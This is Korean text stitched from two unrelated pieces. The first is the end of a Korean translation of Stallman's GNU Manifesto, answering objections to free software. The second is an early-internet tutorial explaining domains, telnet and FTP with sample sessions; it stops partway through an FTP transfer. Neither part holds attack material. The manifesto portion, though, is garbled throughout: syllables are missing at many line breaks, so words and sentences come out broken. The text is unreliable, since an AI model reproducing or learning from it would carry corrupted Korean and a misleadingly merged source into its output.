으며 법도 준수하게 된다. 게다가 GNU는 영감을 주는 예와 다른이가 우리와 나누는 일에 동참하
도록 고무하는 깃발  노릇도  한다. 이는 우리가 상용프로그램을  쓸 때는 느낄 수 없는   조화로

느낌을 갖게한다. 나와 대화한 프로그래머들 중 거의 반정도는, 이것은 돈이 대신할 수 없는 중요
한 행복이라는데 공감했다.


  당신이 기여할 수 있는 방법

  나는 제조업자들에게는 기계와   돈을, 개인들에게는 프로그램과 노동을 지원해 줄   것을 요청

다.
  컴퓨터를 기증해서 기대할 수 있는  중요한 점은 GNU가 머지않아 그 기계에서  작동 할  것이

점이다. 기증된 컴퓨터는 완전해 질 것이며, 따라서 시스템을 사용할 준비를 모두 갖추게 되어 파
워와 효율을 과대 포장할 필요가 없을 것이다.

  나는 GNU를 위해 시간제로 일하기를 갈망하는 많은 프로그래머들을 찾을 수 있었다. 대부분의
프로젝트에서 그러한 시간제로   배치된 작업을 통합하고 조정하는 일은 매우   어려웠다. 독립적

로 쓰여진 부분들은 함께  동작하지 않았다. 그러나 특정한  작업인 유닉스를  대치하는 과정에서

그러한 문제가 생기지 않았다.  완전한 유닉스 시스템은 개별적인  설명이 포함된  백여개의 유틸

티를 포함한다.

  대부분의 인터페이스 사양은   유닉스에 호환되도록 맞추어  진다. 만약 각각의   프로그래머가

닉스 유틸리티 한개를 유닉스에 호환하도록 재구현하고 본래의 유닉스 시스템에서 충분히 작동하
게 할 수 있으면, 이것들은 함께 묶어 놓아도 올바르게 작동할 것이다.  만일 누군가가 예기치 못
했던 문제를  야기시킨다 해도, 전체적인  구성요소들을 통합하는 작업은  충분히 가능할 것이다.
(커널을 만드는 작업은  세밀한  대화가 필요할 것이며,  소수의 호흡이 잘  맞는  집단이 적당할

이다.)

  만일 내가 금전적인  지원을 얻는다면, 약간의 인원을 전시간  또는  시간제로 고용할 수  있을

이다. 일반적인 프로그래머  수준의 높은 봉급을 줄 수는 없겠지만,  돈이 가지는 것 만큼 공동체
의식을 정립하는 일도 중요한 의미를 가진다고 생각하는 사람들을 찾아 볼것이다.


  모든 컴퓨터 사용자가 이득을 얻게되는 이유

  일단 GNU가  작성되니까,  마치 공기처럼, 모든  사람들이 훌륭한 시스템 소프트웨어를   무료

얻을 수 있게 되었다.   이것은 단지 모든 이에게 유닉스 저작권에  대한 비용을 덜어  주는 것보

훨씬 더 많은 의미를   가진다. 이는 시스템 프로그래밍에 드는 노력이 불필요하게   중복되는 것

피할 수 있음을 의미한다. 대신, 절약된 노력은 기술 수준을 향상시키는데 사용 될 것이다.

  완벽한 시스템 소스가 모든 사람들에게 제공될 것이다. 결과적으로, 시스템에 변화를 주고자 한
다면 언제든지 스스로 자유롭게   수정할 수 있을 것이다. 혹은 적당한 프로그래머나   업체에 의

할 수도 있을  것이다.  사용자들은 더이상 프로그램  소스를 가진 프로그래머나 회사에   의존하

않아도 될 것이며 독자적으로 수정을 가할 수 있을 것이다.

  학교는 모든 학생들이 시스템 코드를  배우고 향상시키도록 장려함으로써 보다 나은 교육 환경
을 조성할 수  있을 것이다. 하버드 컴퓨터 연구소에서는  어떤  프로그램이든지 그 소스가  공개

시 되지 않으면  시스템에 설치하지 못하게 하는 정책을  쓰곤  했다. 실제로 어떤  프로그램들을

치하지 못하게 함으로써 이 정책을 고수 했다. 나는 이것에서 커다란 영감을 받게 되었다.

  결국에는, 누가 시스템 소프트웨어를  소유하고 있으며 누구에게 사용할  수 있는  자격을 부여

것인지 아닌지를 고려하는 제비용은 상승하게 될 것이다.

  복사 라이센스를 포함하여 프로그램 사용에 대한 지불을 준비할때는 언제나 개인이 지불해야할
돈이 얼마인가를 알아내야  하는 필요성을 통하여 사회에 많은  비용을 야기시킨다. 그리고, 오직
경찰 당국 만이  모든 사람이  그것을 따르게 하도록 힘을  행사할 수 있다.  막대한   비용을 들

공기를 생산하는 우주정거장을  생각해보자. 이런 경우 각각의  개인은  자신이 호흡하는  공기에

해 리터단위로 요금을  지불 하는 것이 합당할 것이다.  그렇다고는  해도 호흡하는 공기의  양을

측하기위해 메터기가 달린 방독면을 밤낮으로 쓰고 있어야 한다면 그런 방식은 타당한 것이 아니
다. 그리고 TV 카메라는 당신이   마스크를 벗는 불법을 행하는지 어디서나 지켜 보아야 할   것

며 따라서, 이것 보다는   사람수에 따라 일정한 세금을 부과하고 마스크를 벗어던지는   것이 현

하다.

  프로그램의 일부 혹은 전체를 복사하는 행위는 프로그래머에게 있어서는 숨을 쉬는 것만큼이나
자연스러운 일이며 생산적이다. 따라서, 프로그램은 마땅히 공개되어야 한다.


  몇가지 GNU의 목표에 대한 반대 의견

  "무료라면 아무도 그것을  쓰지 않을 것이다. 왜냐하면  무료라는  것은 어떠한  지원도 기대할

없다는 것을 의미하기 때문이다."
  "당신은 그 프로그램에 대한 지원과  도움을 제공하는 댓가로 이에 관한 비용을 부과해야만 한
다."

  만약 사람들이 돈을 지불하고서  GNU에대한 서비스를 받기를 희망한다면, GNU를  무료로  얻

사람들에 그런 서비스를 제공하는 회사도 이익을 얻을 수 있을 것이다.

  우리는 반드시 실제 프로그래밍   작업과 단순 관리 작업은 구별해야 한다. 전자는   때때로 소

트웨어 판매 회사에게  의존할 수가 없다. 만일 당신의  문제가  충분한 사람에 의해  나누어지지

는다면, 회사는 잊어버리라고 말할 것이다.

  만일 당신의 사업이 지원에   대한 의존이 필요하다면, 가능한 필요한 모든 소스와   도구를 갖

야할 것이다. 그러면, 당신은 당신의  문제를 해결해 줄 수  있는 사람을 고용할  수 있으며, 이것

다른 어떤 사람의 자비를 받는  것은 아니다. 유닉스상에서, 소스의 가격은 대부분 고려되지 않으
며, GNU는 더 쉬울 것이다. 이것은 여전히  유능한 사람이 필요 없을 수는 있으나, 이 문제는 배
포에 따른 비난을  할 수  없다. GNU는 모든  세계의 문제를 제거하는 것은 아니며, 단지   그중

나이다.

  한편, 컴퓨터에 대해 전혀 모르는  사용자들은 여전히 단순한 관리 서비스를 필요로 한다. 이러
한 일은 사용자 스스로 능히 처리할 수 있는 종류의 일이지만 그러한 방법을 모르기 때문이다.

  이런 서비스들은 단순한 수작업이나  복구 서비스를 지원하는 회사들이  제공할 수  있다. 사용

들이 제품을 사고 그에   대한 서비스를 받는 방식을 받아들인다면, 제품을 무료로   받고 서비스

대한 비용을 지불하는 방식에도  기꺼이 동의할 것이다. 서비스를  제공하는 회사들은  가격과 질

인 면에서 모두 완벽을 기할 수 있을 것이며 사용자들은 어떤 특정한 업체에 얽매일 필요는 없을
것이다. 또한, 그러한 서비스가 필요하지  않은 사람들은 서비스에 대한 비용을 들이지 않고도 프
로그램들을 쓸 수 있을 것이다.


  "광고를 하지 않고는 많은  사람들에게 알릴 수 없을  것이며, 그러기  위해서는 필히 프로그램

가격을 매겨야 한다.
  "무료로 제공되는 프로그램을 광고하는 것은 무의미하다."

   GNU 같은 프로그램을  많은 컴퓨터 사용자들에게 알릴 수  있는 방법에는, 무료,  혹은  극히

은 비용으로 사용할 수 있는  다양한 공공 정보 전파 방식이 있다.  그러나 광고를 하는  것이 보

많은 마이크로 컴퓨터 사용자에게 알릴  수 있는 방법일지도 모른다.  만일 실제로 이런  것이 사

이라면, 복사와 배포를  하는데  돈을 받음으로써 능히  광고와 그외의 부수적인 비용을   감당할

있을 것이다. 이런 방식에서는, 광고를 보고 배포본을 구입해서 이익을 얻을 수 있는 사용자가 광
고 비용을 부담하게 되는 것이다.

  반면, 많은  사람들이  GNU를 그  친구들을 통해서   구한다면, 이런 종류의 회사들은  성공할

없을 것이다. 이는    GNU를 보급하는데 광고가  필요한 것은 아님을 보여준다. 그렇다고   한다

무료로 보급되고 있다는 사실이 무료로 알려지는 것을 바라지 않을만한 이유가 있겠는가?


   "나의 회사는 경쟁사들에 대한 우위를 차지하기 위해 독점적인(고유의) 운영체제가 필요하다."

   GNU는 시스템 소프트웨어 경쟁이라는 범주에서 제외될 것이다. 당신의 회사가 우위를 차지할
수 없는 것처럼, 당신의 경쟁사들도 그점에 있어서는 마찬가지일 것이다. 당신과 당신의 경쟁사들
모두 이 분야에서는  별반 이득을  볼 수 없겠지만,  다른 분야에서 서로 경쟁하는 것은   가능할

이다. 당신의 사업이 운영체제를 판매하는 것이라면, GNU가 마땅치 않게 생각 될 것이다. 당신의
사업이 이런 종류가 아니라면, GNU는 시스템  소프트웨어에 관련된 막대한 비용을 절감해 줄 것
이다.

  나는 제작자와 사용자들이 GNU의  발전에 기여해 나감으로써 서로의 비용을  절감할 수  있기

희망한다.


  "프로그래머는 그의 창의력에 대한 보상을 받을 자격이 있지 않은가?"

  보상받을 만한 일이란 사회적   공헌을 말한다. 창의성이란 그 결과물을 사회가 댓가   없이 사

할 수 있을 때 사회적   공헌이 되는 것이다. 어떤 혁신적인 프로그램을 제작한 사람이   그에 대

보상을 받아야만 한다면,    같은 맥락에서 그것을 자유롭게 사용하지 못하게 한다면   그때는 제

를 받아야 할 것이다.


   "프로그래머는 그의 창의력에 대한 보상을 요구할 수 없는가?"

  유해한 수단을 사용하지  않는다면,  노동에 대한 보수와  자신의 소득이 극대화 되기를   바라

것은 아무 문제가 없다.   그러나 지금 까지 소프트웨어 산업에서 보편화된 수단은   유해한 방법

다.

  프로그램을 사용하는 것에 제한을 둠으로써 돈을 벌어들이는 행위는 프로그램이 사용되는 범위
와 방식을 제한하기 때문에   유해한 것이다. 이는 인간들이 프로그램으로부터 얻을 수   있는 전

적인 풍요로움을 감소시키는 것이다.

  선량한 시민이라면 자신이 보다 부유해지기위해  그런 수단을 쓰지 않는다. 그 까닭은, 만일 모
든 사람들이 그렇게  한다면 상호간의 유해한 행위로 인해 결과적으로  우리 모두는 보다 빈곤해
질 것이기 때문이다.  이것은 칸트의 윤리학이나 황금율같은 분명한  것이다. 나는 모든 사람들이
자기만의 정보를 축적해나가는 것은  바람직하다고 여기지 않기 때문에,  누군가 그런  일을 한다

나는 그것이 잘못된 일이라고 생각할 필요를 느끼게 되었다. 특히, 한 개인의 창의성을 보장 받고
자하는 욕구가 일반적으로 전체의 창의성이나  혹은 그 일부분을 저하시키는 행위를 정당화 시키
지는 않는다.


  "프로그래머들의 밥줄이 끊기지 않을까?"

  나는 모든 사람이 프로그래머가   될 필요는 없다고 답하고 싶다. 아마 우리들   대부분은 거리

나가 인상을 써서 간신히 약간의 돈을 벌어 살아갈 수는 없을 것이다. 그러나 결과적으로, 우리는
거리에 나가 인상 써서 돈을 번다고  비난 받을 필요도 없고, 또한 빈궁해질 필요도 없을 것이다.
우리는 그와는 다른일을 할 수 있을 것이다.

  그러나 이것은, 프로그래머는 소프트웨어를  소유하지 않으면는 단 한푼도  벌수 없다  라는 질

하는 사람의 독단적인  가정을 받아 들였다는 점에서 오답이라 할  수 있다. 아마도, 이런 생각은
극단적일 것이다.

  프로그래머가 생계에 지장을 받지   않을 것에 대한 진정한 이유는, 지금과 같은   정도는 아니

지만 여전히 프로그래밍으로 돈을 벌 방법들이 있기 때문이다.

  프로그램 복사를 제한하는  것이  소프트웨어 사업의 유일한  기본 방침은 아니다. 이런   방침

보편화된 것은 이렇게 함으로써   가장 돈을 많이 벌 수 있기  때문이다. 고객들에 의해  이런 방

이 거부되거나 금지된다고   해도, 소프트웨어 사업은 지금까지 흔하지는 않았던   새로운 조직체

로 전환해 나갈  길을 모색할  수 있을 것이다.  여러가지 사업을 한데 묶어 조직화하는   방법은

궁 무진한 것이다.

  아마 새로운 기반하에서의  프로그래밍은 지금처럼 수익성이 높은  일은  아닐 것이다.  하지만

것이 변화의 쟁점은 아니다.   지금의 판매 사원들이 그들의 봉급을 버는 방식이   불합리한 것이

고 생각하지는 않는다.   프로그래머들이 그와같은 방법으로  소득을 올린다해도 하등   정당하지

할 이유가 없다. (실제적으로 프로그래머들은 여전히 그들보다 월등히 많은 소득을 올리고 있다.)


  "누구든 그들의 창의력이 사용되는 방법을 지배할 수 있지 않은가?"

  "인간 생각의 쓰임새를 지배하는 것"은 실제적으로는 그의 인생을  지배하는 것이다. 이는 자신
의 인생을 보다 어렵게 만들곤 한다.

  지적 소유권에 관해 상세하게   공부한 사람들(변호사 등)은 그 자체로서 완벽한   지적 소유물

없다고 말한다. 정부가 인정하는  추상적인 지적소유권들은 특정 목적을  위한 특정  법률 조항으

부터 발생한 것이다.

  예를 들어, 특허제도는   발명가가 그의 고안품의 세부사항을 공개하는 것을   장려하고자 설립

것이다. 그 목적은   발명한 사람을 돕기보다는 사회를  돕기  위한 것이다. 시간의  측면에서 보
면,
특허가 갖는 17년간의 유효기간은  기술이 발전하는 비율과 비교해  볼때 짧다.  특허권은 생산업

들 사이의 문제이고, 생산을 향상  시키는 것과 비교해서 특허권  계약에 드는 비용과  노력은 작

고 보기 때문에, 특허권은   일반적으로 그다지 해악하게 작용 하지는 않는다. 또한,    그것은 대

분의 개인들이 특허 받은 제품을 사용하는 것을 제한하지는 않는다.

  고대에는 저작권이라는 것이 존재하지 않았으며  그 시대에 작가들은 빈번하게 다른 이의 작품
상당량을 실제의 (허구가  아닌)  작품에 복제하기도 했다.   이런 작업들은 유용한   것이었으며,

록 그 일부분이기는  하지만 많은 사람들의 작품이  게속해서 전수  되는(존재해 나가는)  유일한

법이었다. 저작권 제도는 작가의식을 고취 시키고자 급진적으로 만들어진 것이다. 이것이 처음 만
들어 질 때 주로 염두에  두었던 책의 범주에서 보면,  책은 실용적인 측면에서  인쇄기를 사용해

만이 복사가 가능 하기 때문에 저작권은 그다지 해롭지는 않았다. 또한,  대다수의 사람들이 책을
읽는 것을 제한하지도 않았다.

  모든 지적 소유권은,   그것들이 어떻던지 그를 허용함으로써 사회전체에 이득이   된다고 여겨

서, 사회가 허용할 때만 정당하게 되는  것이다. 그러나 어떤 특정 상황에서든 우리는 "그런 인가
를 내주는 것이 정말로 우리에게 유익한가? 어떤 종류의 인가를 내줄 것인가?" 하는 질문을 해보
야만 한다.

  오늘날의 프로그램들의 경우는   백여년전의 책의 경우와  크게 다르다. 프로그램이   이웃간에

쉽게 복사될 수 있다는  사실,  소스 코드와 목적 코드로  구분된다는 점,  읽기위한 것이 아니라
즐기기 위한 것이라는 사실들이  묶여져서, 저작권을 강요하는 사람들이 전체사회에 정신적, 물질
적으로 해를 끼치는 상황을 만들고 있다.


  "경쟁 함으로써 보다 나은 결과를 얻을 수 있는가?"

  모범적인 경쟁 방식은 경주(race)  이며, 승자에게 상을 줌으로써 주자들이 더욱 빨리 달리도록
장려할 수 있는 것이다. 만약 자본주의가 실제로 이런 방식을 따른다면 이는 바람직한 것이다. 그
러나 자본주의 옹호론자들은  실제로 항상 이런 방식으로  움직인다고  단정짖는 잘못을  범한다.

일, 주자들이 상이  주어지는 이유를 망각한채 승리에만 집착한다면,  말할것도 없이 그들은 다른
주자를 공격한다든지하는 색다른 전략은 찾게 될 것이다.  주자들이 먼저 싸우기 부터 한다면, 그
들은 결국 모두 늦어질 수 밖에 없는 것이다.


  독점적이고 비밀에 싸인 소프트웨어는,  도덕적으로 먼저 싸우기 부터하는 주자들과 동일 하다.
슬픈 일이지만, 우리의 유일한 심판은 그다지  공정해 보이지 않으며, "매 10 야드마다 한번씩 상
대방을 가격할 수 있다."   는 규정을 적용하는 정도일 것이다.  그러한 싸움이   있을 때는, 그들

떼어놓고 벌칙을 주어야하는데도 말이다.


  "금전적인 장려가 없다면 아무도 프로그래밍을 하지 않을 것이다."

  실제적으로, 많은 사람들이 분명한  금전적인 장려가 없이도 프로그래밍을 할 것이다. 프로그래
밍은 어떤 사람들에게는 저항할 수 없는 매력인 것이며 보통 프로그래밍에 능숙한 사람에게 더욱
그렇다. 비록 생활의  기반이  될 가망이 없더라도  꾸준히 계속해가는 직업적인 음악인들이   많

있다.

  그러나 실제로 질문은, 비록   일반적으로 많이 제기 되지만, 상황에 적합하지   못하다. 프로그

머들의 소득원이 없어 지는 것이  아니라 단지 수입이 줄어드는  것일 뿐이다. 따라서  올바른 질

은 "금전적인 보상이 줄어들더라도  사람들이 프로그래밍을 하게될까?" 일 것이다. 내  경험에 의
하면 그렇게 할 것이다.

  십년 이상 동안, 세계 정상급 프로그래머들이 인공지능 연구소에서 일했었지만, 그들이 받은 보
수는 다른 어떤 곳에서 기대할   수 있는 것보다 훨씬 적은 것이었다. 그들은 명성이나   감사 같

다양한 종류의 비금전적인  보상을  받았다. 그리고 창의력은  그 자체 안에 보상이라는   개념을

지고 있다는 점에서 흥미로운 것이다.

  그 후, 그들  대부분은 이전의 작업처럼 그들이 흥미롭게  생각하는  일을 높은 보수를  받으며

수 있는 기회가 주어지자 연구소를 떠났다.

  이 사실에서 알  수 있는 것은 사람들은 부유해지기 보다는  어떤 까닭을 위해서 프로그래밍을
한다는 것이며 그런 조건위에  상당한 보수까지 받을 기회가  주어진다면, 그를  예상하고 요구하

되는 것이다. 보수가  낮은 조직은 높은 보수를 받는 조직과의  경쟁에서 뒤지 겠지만, 만일 높은
보수를 받는 조직과는 상호이동이 없는  완전히 개별적인 집단이라면 그들 나름대로 훌륭하게 활
동할 것이다.


  "우리는 프로그래머가 절대적으로  필요하다. 만일 그들이 우리의  이웃을  돕지말라 하면 우리

따를 수 밖에 없다."

  당신들은  결코 그런 종류의 요구에 복종해야할 만큼 절박하지 않다. 명심하라. 열 장정이 도둑
하나를 막지 못하는 법이다.


  "프로그래머들도 어떤식으로든 그들의 생계를 꾸려 나가야 하지 않은가?"

  요컨데 이것은 진실이다. 그러나  프로그램의 사용에 대한 권리를  파는 것이외에도  생계를 꾸

수 있는 수많은  방법들이  있다. 현재 사용에 대한  권리를 파는 것이 보편적으로 받아   들여지

것은 그런 방식으로 프로그래머나 사업자들이  보다 많은 돈을 벌  수 있기 때문이지,  결코 이것

생계를 유지하는 유일한  방법이기  때문은 아니다. 다른  방법을 찾고자 한다면 얼마든지   가능

것이다. 여기 여러가지 예들이 있다.

  새로운 컴퓨터를 내놓는  제조업자는 새 기계에 운영체제를  이식하기위한 비용을 지불하게 된
다.
  교육, 단순 관리 작업, 지속적인 서비스들을 제공하는 회사에서도 역시 프로그래머는 필요한 것
이다.

  사용자의 마음에  흡족하다면  그에 대한  보수를 지불해달라고 요구하는, 프리웨어라는   새로

아이디어로 프로그램들을 배포하는  사람들도 있다. 혹은 단순  관리  서비스를 제공하고  보수를

는 사람들도 있다. 나는 이미 이런 방식으로 성공한 사람들을 만났다.

  도움이 필요한 사용자들은  사용자  그룹을 결성하고 회비를  조성할 수 있을 것이다.   그룹은

로그래밍 회사와 계약을 맺고 회원들이 원하는 프로그램을 주문 제작할 수 있을 것이다.

  모든 종류의 발전에 필요한 기금은 소프트웨어 세로 조성할 수 있을 것이다.

  만약, 컴퓨터를 구입하는  모든 사람들이 가격의 x 퍼센트를  소프트웨어 세금으로 지불한다면,
정부는 그 돈을 소프트웨어 발전에 쓰여 지도록 NSF 같은 단체에 지원할 수 있을 것이다.

  그러나 컴퓨터 구입자가  개별적으로 소프트웨어 발전에 공헌을  한바가  있다면, 그는  세금을

제 받게 될 것이다. 그는 스스로  어느 프로젝트에 기부할 것인지를 결정할 수 있을 것이며, 때론
그 결과를 쓸 수 있을   것이란 기대를 품고 결정을 내리게 될 것이다. 얼마를   기부하든 지불해

할 세금 전액을 대신할 수 있을 것이다.
   세금의 전체적인 세율은 납세자들이  투표를 해서 결정할 수  있을 것이며, 지불할  액수에 따

차등 조정될 것이다.

  결론:
   * 컴퓨터 사용자 공동체는 소프트웨어 발전을 지원한다.
   *  어느 수준의 지원을 할 것인가는 이 공동체가 결정한다.
   * 자신의 몫이  어떤 프로젝트에 쓰일 것인가에 관심있는 사용자들은  이를 스스로 결정할 수
있을 것이다.

  결국에는, 프로그램을 무료로  보급하는  것은 더이상 단지  생계를 위해 고되게 일할   필요가

는 풍요로운  세계로  가는 한  단계인 것이다. 사람들은   프로그래밍 같은 자신이 흥미를  가질

있는 일에 자신을 몰입할 수   있는 자유를 갖게될 것이다. 법률이 규정하는 주당 열   시간 정도

시간을 마친 후엔, 가족들과  담소 한다든지, 로보트를 수리  한다든지, 천체를 관측하는  일 따위

하게 될 것이다.
  더이상 프로그래밍을 생계의 수단으로 삼을 필요가 없게 될 것이다.

  우리는 이미, 실제적인 생산성을  향상 시키기위해 전체 사회가  부담해야할 작업의  분량을 많

감소 시켰다.  이중 매우 적은 부분는 단지 프로그래머들의 유희를 위해서 작성되었다. 그 까닭은
비생산적인 활동은 생산적인  활동을  하기위해 필요한 것이기  때문이다. 이런 일을 하게된   주

이유는 경쟁을 대신할 수 있는  관료 정책이며 그와 동일한  부피를 갖는 몸부림인  것이다. 프리

프트웨어는 소프트웨어 생산 분야에서   생산력이 낭비되는 것을 크게 감소  시킬 수  있을 것이
다.
우리는 이러한 작업을 해나가야 하며, 생산성을 위한 기술 습득은 적은 노력으로 가능할 것이다.

  Copyright (C) 1985 Richard M. Stallman



안녕하세요.

12번째 강좌입니다.
인터넷에 대해서 확실히 짚고 넘어가겠습니다.
이번 회는  인터넷에 대한 개략적인 것과 TELNET,FTP,E-MAIL,GOPHER,ARCHIE.. 등에
대해서 이야기 하겠습니다.
천리안,하이텔,나우누리 모두 인터넷을 사용할 수 있으니 직접 해보시는게 큰 도움이 될 겁니다.



네트워크의 처음 목적은 군사적인 것이었습니다.
미국 국방성에는 그  당시 소련의 핵폭격이나 그에 준하는 공격을  가상하여 이 경우에도 작동이
가능한 매우 신뢰성있는 컴퓨터 네트워크가 필요하다는 결론에 도달하였습니다.
즉, 이 네트워크는 중간에 있는 몇개의 시스팀이 폭격으로 부서지더라도, 다른 시스팀을
통해서 연결이 되기를 바랐던 것입니다.
1960년대 후반에 미국  국방성은 여러대의 컴퓨터들을 네트워크로 연결했습니다. 물론  이는 군사
적 목적을 위한 연구였고 이 네트워크는  ARPAnet 이라고 이름 붙여졌습니다. 이 네트워크를 기
반으로 해서 많은  대학교,연구소 등이 네트워크를 구성하고 이  네트워크들이 계속 ARPAnet 에
연결되었습니다.  이  것이 인터넷으로 발전한 것입니다.
이제는 전 세계에 걸쳐  수많은  컴퓨터들이 인터넷에 연결되어 가장 규모가 큰 네트워크가 되었
습니다.
시간이 지날수록 이 ARPANET 외에도 다른 네트워크들이 생겨나게 되었습니다.
USENET, BITNET 그리고 CSNET 등이 바로 그것인데, ARPANET 역시 계속
진화해서 MILNET이라는 군사목적의 네트워크를  다시 만들게 했고, 이 두가지가 서로 연결되어
인터넷의 시초가 되었습니다.
개인용 컴퓨터들도  케이블로 연결해서 네트워크를 구성하기도 합니다만 인터넷을 이야기할때 여
기에 연결된 컴퓨터들은  거의 모두 워크 스테이션급 이상의 컴퓨터들입니다.  개인용 컴퓨터와는
물론 차이가 많이 있습니다. 대표적인 것이 운영체제인데 PC 에서는   DOS 를 사용하지만 큰 컴
퓨터들은 유닉스이며 인터넷에 연결된 컴퓨터들중에는 유닉스를 사용하는 것이 가장 많습니다.
아마도 어떤 회사 또는  어떤 정부가 이렇게 정신없이 변하는 네트워크를 통제하려  한다면, 아무
리 많은 수의 사람이 시도해도 매우 어려운 일이 될것입니다.
그런데 인터넷은 아무도 관리하지 않는다. 각자 자기 자신이 소유한 컴퓨터를 관리하기는 하지만,
누가 사용하고 누가 사용할 수 없는지를 결정하는 곳은 없고 단지 인터넷의 발전방향을 논의하기
위한 몇개의 모임이 있을 뿐이며 이들이 하는 일은 권고안을 만들어서 사람들에게 알리는 것입니
다.

먼저 인터넷에서 사용하는 주소표기 방식을 이해하는 방법을 알아 보겠습니다.

다음을 봅시다.
chollian.dacom.co.kr
위의 것은 천리안의 인터넷 주소입니다.
쉽게 풀자면, 천리안   .   데이콤    .    컴퍼니(회사)    .  코리아(국명)   의 구성입니다.
네째자리는 한국,일본,중국등 국명을 알려주는 자료입니다.
 같은 의미로,  .jap, .fr, .de 등이 사용되고 있다.
셋째자리는 회사인지 정부인지 대학인지를 알려주는 자료이죠.
 .mil  군대에서 소유하고 있는 컴퓨터
 .gov  정부에서 소유하고 있는 컴퓨터
 .edu  대학이나 그 비슷한 곳의 컴퓨터
 .com  회사의 컴퓨터

둘째자리는 어느 망인지 알려주는 것이고
첫째자리는 더욱 구체화된 것이죠.

이외에 128.12.1.1  이런식으로 숫자로 된것을 자주 보게될것입니다.
이것도 위와 똑같은 주소이지만 외우기가 힘들죠?
이왕이면 편한것을 사용하자구요.


TELNET

telnet의 사용 방법

이 도구의 가장 큰 목적은 한 컴퓨터에서 내가 원하는 컴퓨터로 접속하는
것입니다. 물론, 원하는 컴퓨터에 당신의 계정이 있어야 하겠죠.

예를 들어보죠. mutul.dwt.co.kr이라는 컴퓨터에 접속하고
싶다면 다음과 같이 입력하면 됩니다.

telnet mutul.dwt.co.kr

그러면 잠시 뒤에 다음과 같은 화면이 나타날 것입니다

telnet mutul

Trying...
Connected to mutul.dwt.co.kr.
Escape character is '^]'.


RISC/os (mutul)


login: huiyol
Password:

RISC/os (UMIPS) 4.50 mutul
(C) Copyright 1986-1990, MIPS Computer Systems
All Rights Reserved

Mutul_huiyol [1 /usr3/people/huiyol]


이와 같이, 접속을 원하는 컴퓨터의 이름을 입력하면 사용자 이름과
암호를 물어보는데 올바른 정보가 입력되면(이것을 로그인(Login)이라고
한다) 미리 지정된 셸(shell)이 실행됩니다.
MS-DOS에도 마이크로소프트의 COMMAND.COM 이외에 4DOS처럼 같은 일을 하는 다른
프로그램이 있는 것과 마찬가지로, UNIX에도 sh, bsh, ksh, tcsh등과 같이
여러가지 셸 프로그램이 있습니다.

telnet을 통한 국내 유명 서비스를 안내하죠.


컴퓨터 이름          사용 계정                       서비스 내용
---------------------------------------------------------------------
nic.nm.kr             gopher            Gopher라는 메뉴방식의
                                       서비스를 제공한다. 뒤에서도
                                       설명하겠지만, 이것은 인터넷의
                                       자료를 메뉴방식으로 찾아볼 수
                                       있는 매우 유용한 도구이다.
                                        이곳에서는 한글 메뉴도
                                        제공되고 있다.
ccsun1.sogang.ac.kr   archie          파일 이름을 입력해서 그 파일이
                                        어느 컴퓨터에 있는지를 알 수
                                        있는 기능과, 앞에서 설명한
                                        대로 이름으로 된 주소를
                                        숫자로 된 주소로 변경할 수
                                        있다.
kids.kotel.co.kr       new             한국통신에서 운영하는 인터넷
                                        BBS이다. 구성이 Hitel과도
                                        비슷하고, 많은 수의 포럼이
                                        운영되고 있다.
------------------------------------------------------------------------


-FTP(File Transfer Protocol)-

FTP는 쉽게 말해서 파일을 다운로드/업로드 할 수 있는 통신규약입니다.
예를 들어서 내가  어떤 프로그램을 사용하고 싶고,  그프로그램이 있는 시스팀의 주소를  안다면
FTP를 이용해서 가져 올 수있죠
특히, 아무나 접근해서 파일을 가져  갈 수 있도록 서비스를 제공하는 시스팀을 anonymous FTP
Site라고 한다.  Anonymous를 사전에서 찾아 보면 "무명의", "이름없는"이라는 뜻을 가지고 있습
니다.
즉, 이 서비스는 비록 그 시스팀에   자신의 계정이 없더라도, 원하는 정보 또는 프로그램을 가져
갈 수 있도록 지원하는 것을 말하죠
ftp에서는 두  가지 전송 모드가  있는데 "ASCII(또는  7Bit)"와 "BINARY(또는 8Bit)"를  말한다.
만약 전송하는 것의  내용이 글자(TEXT)이면 ASCII방식을 사용하고, 프로그램이나 데이터인  경
우에는 BINARY방식을 사용합니다.

FTP의 명령어 사용


FTP에서 자주 사용하는 명령어와 각각의 기능을 정리해 보면 다음과 같습니다.

명령    옵션                    의미
pwd     pwd                     상대 시스팀의 현 작업 디렉토리를
표시한다.
cd      cd [디렉토리 이름]      MS DOS의 "cd"명령과 같은 일을 한다.
dir     dir                     MS DOS의 "dir"과 같은 일을 한다.
prompt  prompt [on | off]       복수의 파일에 대한 작업을 할 때
개개의
                                파일에 대한 확인을 할 것인지를
선택한다.
hash    hash [on | off]         전송 시에 전송량을 '#'으로 표시할
                               것인지를 결정한다.
del     del [파일 이름]         상대 시스팀의 파일을 지운다.
asc     asc                     지금부터 전송을 7비트로 할 것이라고
                                알린다.
bin     bin                     지금부터 전송을 8비트로 할 것이라고
                                알린다.
put     put [파일 이름]         지정한 파일을 상대 시스팀에 전송한다.
get     get [파일 이름]         지정한 파일을 상대 시스팀에서
                                가져온다.
mput    mput [파일 이름]        여러 개의 파일을 put한다.
mget    mget [파일 이름]        여러 개의 파일을 get한다.
quit    quit                    FTP를 종료한다.


FTP 중에 다른 유틸리티를 사용하고 싶으면 다음과 같이 입력하면 됩니다.

        ftp> ! 명령



ftp mutul              제일 먼저 "ftp mutul"을 입력해서 FTP를 구동하였다.
Connected to mutul.dwt.co.kr.
220 mutul FTP server (from 4.3BSD Tahoe) ready.
Name (mutul:huiyol): huiyol               사용자 이름과 암호를 입력하였다.
331 Password required for huiyol.
Password:
230 User huiyol logged in.
ftp> pwd               상대 시스팀의 현재 작업 디렉토리를 확인하기 위해서 "pwd"를
입력하였다.

257 "/usr3/people/huiyol" is current directory.
ftp> dir               디렉토리 목록을 확인하기 위해서 "dir"을 입력하였다.
200 PORT command successful.
150 Opening data connection for /bsd43/bin/ls (165.133.1.125,1350) (0
bytes).


total 11
-rw-r--r--  1 huiyol   dtsoft       1820 Mar 23 16:05 .cshrc
drwx------  2 huiyol   dtsoft        512 Apr 11 10:57 .elm
-rw-r--r--  1 huiyol   dtsoft         22 Mar 22 09:41 .forward
-rw-r--r--  1 huiyol   dtsoft        145 Mar 25 19:41 .kermrc
drwx------  2 huiyol   dtsoft        512 Apr 11 10:57 Mail
-rw-r--r--  1 huiyol   dtsoft       3518 Apr 21 15:44 README.html
-rw-r--r--  1 huiyol   dtsoft        771 Apr 21 15:45 sedf.sysv
226 Transfer complete.
451 bytes received in 0.18 seconds (2.5 Kbytes/s)
ftp> asc                "asc"를 입력하여 지금부터 전송되는 것은 7비트 모드임을 알린다.
200 Type set to A.
ftp> get README.html         "get README.html"을 입력하여 README.html을 전송받는다.
